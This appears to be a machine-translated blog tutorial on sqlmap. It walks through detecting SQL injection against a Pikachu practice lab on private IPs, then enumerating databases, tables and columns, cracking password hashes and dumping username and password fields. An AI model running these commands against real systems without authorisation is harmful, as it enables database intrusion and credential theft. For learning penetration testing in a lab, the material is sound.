当前位置:网站首页>Sqlmap tutorial (II) practical skills I
Sqlmap tutorial (II) practical skills I
2022-07-05 06:06:00 【A τθ】
One 、 Detection Injection
testing URL GET Whether there is injection of parameters :
-u Tested url
"" Double quotes , Indicates that this is a string .
--dbms Specify the data engine of the attack
-v Output information is registered as 1
sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1
After typing sqlmap Will automatically inject , But there will be some prompts , You need to confirm at the terminal , If you use --batch The default operation will be performed automatically , There is no need to determine the interactive information .
sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 --batch

Two 、 Get sensitive information
After confirming the existence of Injection , Then, get the information through the command of getting sensitive information
--current-user Users connected by users ;
--currnet-db Current library ;
--dbs Get all libraries ;
--is-dba whether root jurisdiction ;
--passwords Get the password of the database .
Use this command sqlmap When you find the ciphertext , Will prompt you whether to hash Crack , If you need to choose the right dictionary .
eg:
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql --current-user --current-db --is-dba --passwords -v 1 --batch


3、 ... and 、 Get the table
Get the current library , You can list tables according to the Library .
-D Specify the library ;
--tables List all the tables .
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu --tables


Four 、 Get the fields of the table
Get all the fields of a table .
-T Specify a table ;
--columns Get field .
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users --columns


5、 ... and 、 get data
--dump Export all contents of data ;
--dump -C "username,password" Get the contents of the field ;
Get all field contents of the specified table :
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users --columns --dump


Get the specified table 、 Specify field content .
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users -C "id,username,password" --dump


6、 ... and 、 Get the specified number
Get the total number :
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users --count


Get specified id Number of pieces :
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users --dump --start 2 --stop 3


7、 ... and 、 Delete cache file
Parameters :--flush-session
If you don't want to use the previous cache of this target session file , You can use this parameter . Will empty the previous session, Retest the goal .
边栏推荐
- “磐云杯”中职网络安全技能大赛A模块新题
- Convolution neural network -- convolution layer
- Collection: programming related websites and books
- [jailhouse article] look mum, no VM exits
- leetcode-6111:螺旋矩阵 IV
- Light a light with stm32
- 【Rust 笔记】16-输入与输出(下)
- On the characteristics of technology entrepreneurs from Dijkstra's Turing Award speech
- The connection and solution between the shortest Hamilton path and the traveling salesman problem
- How many checks does kubedm series-01-preflight have
猜你喜欢

Wazuh开源主机安全解决方案的简介与使用体验

In this indifferent world, light crying

SQLMAP使用教程(二)实战技巧一
![[practical skills] technical management of managers with non-technical background](/img/4d/1081c71df6ee2087359111baf7498a.png)
[practical skills] technical management of managers with non-technical background

【Jailhouse 文章】Jailhouse Hypervisor

Smart construction site "hydropower energy consumption online monitoring system"

R语言【数据集的导入导出】

Appium自动化测试基础 — Appium测试环境搭建总结

Introduction et expérience de wazuh open source host Security Solution

API related to TCP connection
随机推荐
[practical skills] technical management of managers with non-technical background
Daily question 2006 Number of pairs whose absolute value of difference is k
[cloud native] record of feign custom configuration of microservices
On the characteristics of technology entrepreneurs from Dijkstra's Turing Award speech
Smart construction site "hydropower energy consumption online monitoring system"
Simple knapsack, queue and stack with deque
Introduction to LVS [unfinished (semi-finished products)]
网络工程师考核的一些常见的问题:WLAN、BGP、交换机
Personal developed penetration testing tool Satania v1.2 update
In this indifferent world, light crying
【Rust 笔记】17-并发(下)
[rust notes] 14 set (Part 2)
个人开发的渗透测试工具Satania v1.2更新
Appium自动化测试基础 — Appium测试环境搭建总结
Spark中groupByKey() 和 reduceByKey() 和combineByKey()
1041 Be Unique
【Rust 笔记】17-并发(上)
The sum of the unique elements of the daily question
Daily question 2013 Detect square
2017 USP Try-outs C. Coprimes